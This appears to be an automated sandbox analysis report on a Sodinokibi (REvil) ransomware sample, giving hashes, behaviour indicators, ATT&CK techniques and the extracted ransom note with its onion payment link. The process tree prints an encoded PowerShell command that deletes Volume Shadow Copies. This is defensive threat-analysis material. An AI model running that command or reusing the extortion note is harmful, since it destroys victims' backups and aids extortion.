sodinokibi | 7559e6ca8b77400f88bf4e67208a1c32570a670068eccae9e3d226cc5471bd47

Resubmissions

28-04-2024 18:31

240428-w6cwyaec5v 10

21-04-2024 08:57

21-04-2024 05:45

18-04-2024 19:05

18-04-2024 16:34

04-03-2024 18:33

02-03-2024 17:01

02-03-2024 10:05

Analysis

max time kernel
145s
max time network
154s
platform
windows11-21h2_x64
resource
win11-20240412-en
resource tags

arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system
submitted
21-04-2024 05:45

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General

Target

bazaar.2020.02/HEUR-Trojan-Ransom.Win32.Sodin.dll
Size

164KB
MD5

708ef2feaf6fc35f33486111d9c0f97b
SHA1

9d91bfe8fd44ff1d75551807017e634c2b7580d1
SHA256

23d7cd4b0535b40662dc211b4ae28c4b5383c66b4b686064bd391a259da80d48
SHA512

35db49ab278f1c78d7193e8c75d07fd9d66bab62a7f140b451f03b9fe49138525d92ffe08cd155ae4b6ceec4eca91f2253fba71ddf1af5cb6f701d9b3899d04f
SSDEEP

3072:v0XoUeZ/DVS8L73ea4MoCLfqQvFfsJmjUm:veoUeZR2TRCWQFfsJmj

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Users\c1a6j-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension c1a6j. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/B7CF7B9C47794E9E 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/B7CF7B9C47794E9E Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: K7/8wrKMlMAh5kGpBOBnElBF4N2ZMrkxinjoQGCmUxvFAfnx8QSgAEkIwDsH6g7j vBXzEuDqRSVSfeJYiSkLYshzbH7D10aZb4zKd7nyZwTvhtiXHlAn4tk3pWPj/NXx uRuj8tWXeyR5A5yrpSpF2+GNkhpu6Gl7LQ9AqOObvMvsmGxMxlHyF61YA/pZ4npe hWCLM+KT57apb4OP6lGdSQltx6wSRcLLA0KGF8BmPPFwiOuTdnJg6vaKIqe4a1+K xg4fCp2QyY5OwpxTCHxzJvLA2xW7W00GtJikEoMNmvfzAwPN2rzi6fujCavxx8kE Zhrb+RvhltSwGhIIr+MsuYG70G0qBAaSFcJbS9n2X9TqL2hhq+GhDuy+RuhHckdz /xOVLwsO92PI0sZhYXnpeKtOk02+zKKVWuzqT9e0KE94Bqzcd+xTWPJ2izXHZRyi VybO2/5wPqs7hN0A+Zm6O1zP6iMlVAmJYIPqPAfBQEiqgz++SCQd1tiDOGhu0UgD tQKb4B7qs2rElsmlZGhYl4rMssEQ9tk5gXTHZF8EDKA4+eRBWuCQg98msWgePOa8 25vXJOVgp7iaTJX8jI1k8j1dPxCI2Bhe2y8AzZsQNAINiOlkliBVo6v0AiENse1j NrIssPyXU7CHtahtpqzNGT3F1pH/RF7kTlugtmitpzV5hsNYFG51WiGTbU5+hW8q uCQlqUE0o2VNOw8uYJzGF9rBSxWw2HO/BWYJUb85e98rIcULbUbv2pdXnIuziwpO AZxMErz2rfV+Mq03e/RU+e0hZ3cw7t4GW1iuVNWgSca0qiGhBTwTW472xI9IE1nE H1lXb938rYDIrTk6a+mHcKs65WEPZHaySTd0kVWRRlaODwyudE6ANDePP1SCKche IcH9sfYH9rEtNyKVhwbA4VELljF5NGHpuxwM9nAiJI+MOfvtpMow5F8MZxI56tGH 8xkkiFa9/r8Ohew4PxLXGy5z4srs7nGO4Uk6mqeTzCbf8Z1cG1pLEQBvgotiqQk1 1gvykjo5GnFW3l82UJg+rEBlNy2AtYlmaCoIWhz2QMrbF0J+rKYZMBLCKaQaeP6r zYXv1M7z2GbN4Ba121b77G85+iXUa4S6Ck+fzweSDarvaxI1b7wTKSTP2ma6ETjW LfpWHBVoEFAfJQ6zKa4bG27jEyqL0tIs3C2j+F8yJeEzEhZRAUJ64WwyPzgFPWzC u/BkXZtbFqPJ5mncKh4EwQ== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/B7CF7B9C47794E9E

http://decryptor.cc/B7CF7B9C47794E9E

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	Process
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe

Drops file in Program Files directory 36 IoCs

Processes:

rundll32.exe

description	ioc	Process
File opened for modification	\??\c:\program files\GetDebug.M2T	rundll32.exe
File opened for modification	\??\c:\program files\InitializeClear.docx	rundll32.exe
File opened for modification	\??\c:\program files\RedoSend.mp2	rundll32.exe
File opened for modification	\??\c:\program files\UnblockInstall.vsx	rundll32.exe
File opened for modification	\??\c:\program files\UndoShow.crw	rundll32.exe
File opened for modification	\??\c:\program files\CheckpointExpand.DVR	rundll32.exe
File opened for modification	\??\c:\program files\ExpandSwitch.mht	rundll32.exe
File opened for modification	\??\c:\program files\PushStep.pptx	rundll32.exe
File opened for modification	\??\c:\program files\SkipClear.mht	rundll32.exe
File opened for modification	\??\c:\program files\AddGrant.jtx	rundll32.exe
File opened for modification	\??\c:\program files\BlockUnpublish.xls	rundll32.exe
File opened for modification	\??\c:\program files\PopInstall.wpl	rundll32.exe
File opened for modification	\??\c:\program files\TestRename.TS	rundll32.exe
File created	\??\c:\program files\c1a6j-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\BackupLimit.xlsx	rundll32.exe
File opened for modification	\??\c:\program files\JoinProtect.vssx	rundll32.exe
File opened for modification	\??\c:\program files\LimitExport.wps	rundll32.exe
File opened for modification	\??\c:\program files\ResolveMeasure.mhtml	rundll32.exe
File opened for modification	\??\c:\program files\NewOpen.reg	rundll32.exe
File opened for modification	\??\c:\program files\OpenImport.M2T	rundll32.exe
File opened for modification	\??\c:\program files\ProtectMerge.ttf	rundll32.exe
File opened for modification	\??\c:\program files\ReceiveLock.rm	rundll32.exe
File opened for modification	\??\c:\program files\RepairRestart.vsd	rundll32.exe
File opened for modification	\??\c:\program files\SuspendComplete.rtf	rundll32.exe
File created	\??\c:\program files (x86)\c1a6j-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\ExportConfirm.bmp	rundll32.exe
File opened for modification	\??\c:\program files\FindUnlock.dib	rundll32.exe
File opened for modification	\??\c:\program files\FormatRename.rm	rundll32.exe
File opened for modification	\??\c:\program files\InvokeRepair.ttc	rundll32.exe
File opened for modification	\??\c:\program files\WatchReceive.jpeg	rundll32.exe
File opened for modification	\??\c:\program files\UnpublishUse.css	rundll32.exe
File opened for modification	\??\c:\program files\BlockRestart.WTV	rundll32.exe
File opened for modification	\??\c:\program files\EnableInvoke.emf	rundll32.exe
File opened for modification	\??\c:\program files\ExitShow.htm	rundll32.exe
File opened for modification	\??\c:\program files\GetEnable.pcx	rundll32.exe
File opened for modification	\??\c:\program files\InitializePop.zip	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

rundll32.exepowershell.exe

pid	Process
4192	rundll32.exe
4192	rundll32.exe
460	powershell.exe
460	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	Process
Token: SeDebugPrivilege	4192	rundll32.exe
Token: SeDebugPrivilege	460	powershell.exe
Token: SeBackupPrivilege	1084	vssvc.exe
Token: SeRestorePrivilege	1084	vssvc.exe
Token: SeAuditPrivilege	1084	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	Process	procid_target
PID 3936 wrote to memory of 4192	3936	rundll32.exe	78
PID 3936 wrote to memory of 4192	3936	rundll32.exe	78
PID 3936 wrote to memory of 4192	3936	rundll32.exe	78
PID 4192 wrote to memory of 460	4192	rundll32.exe	79
PID 4192 wrote to memory of 460	4192	rundll32.exe	79

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:3936
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
  2⤵
  - Enumerates connected drives
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4192
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:460

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:5096

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1084

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_srjkjoih.aiq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\c1a6j-readme.txt

Filesize
6KB

MD5
cc1b2c8013752930b00918dd8d7caed3

SHA1
d697f108952d4c1d6ea9d799f83e8340f023a744

SHA256
6dd82986aa4c937f28e0a63a2db6696df7a732d1907894b9ebf5bb5bee90b87f

SHA512
8c6104aab9d0427b320278e65e77ebb22edc65ffe1a402eee2ad725e9c02d30b3fdf49969226e2bc5806fd65cab3bd11a9a00d99a408e2940ac6df812d09f2af

Download Submit
memory/460-6-0x00007FFDAECC0000-0x00007FFDAF782000-memory.dmp

Filesize
10.8MB

Download
memory/460-5-0x000001ABD7CD0000-0x000001ABD7CF2000-memory.dmp

Filesize
136KB

Download
memory/460-7-0x000001ABD7C90000-0x000001ABD7CA0000-memory.dmp

Filesize
64KB

Download
memory/460-12-0x000001ABD7C90000-0x000001ABD7CA0000-memory.dmp

Filesize
64KB

Download
memory/460-11-0x000001ABD7C90000-0x000001ABD7CA0000-memory.dmp

Filesize
64KB

Download
memory/460-15-0x00007FFDAECC0000-0x00007FFDAF782000-memory.dmp

Filesize
10.8MB

Download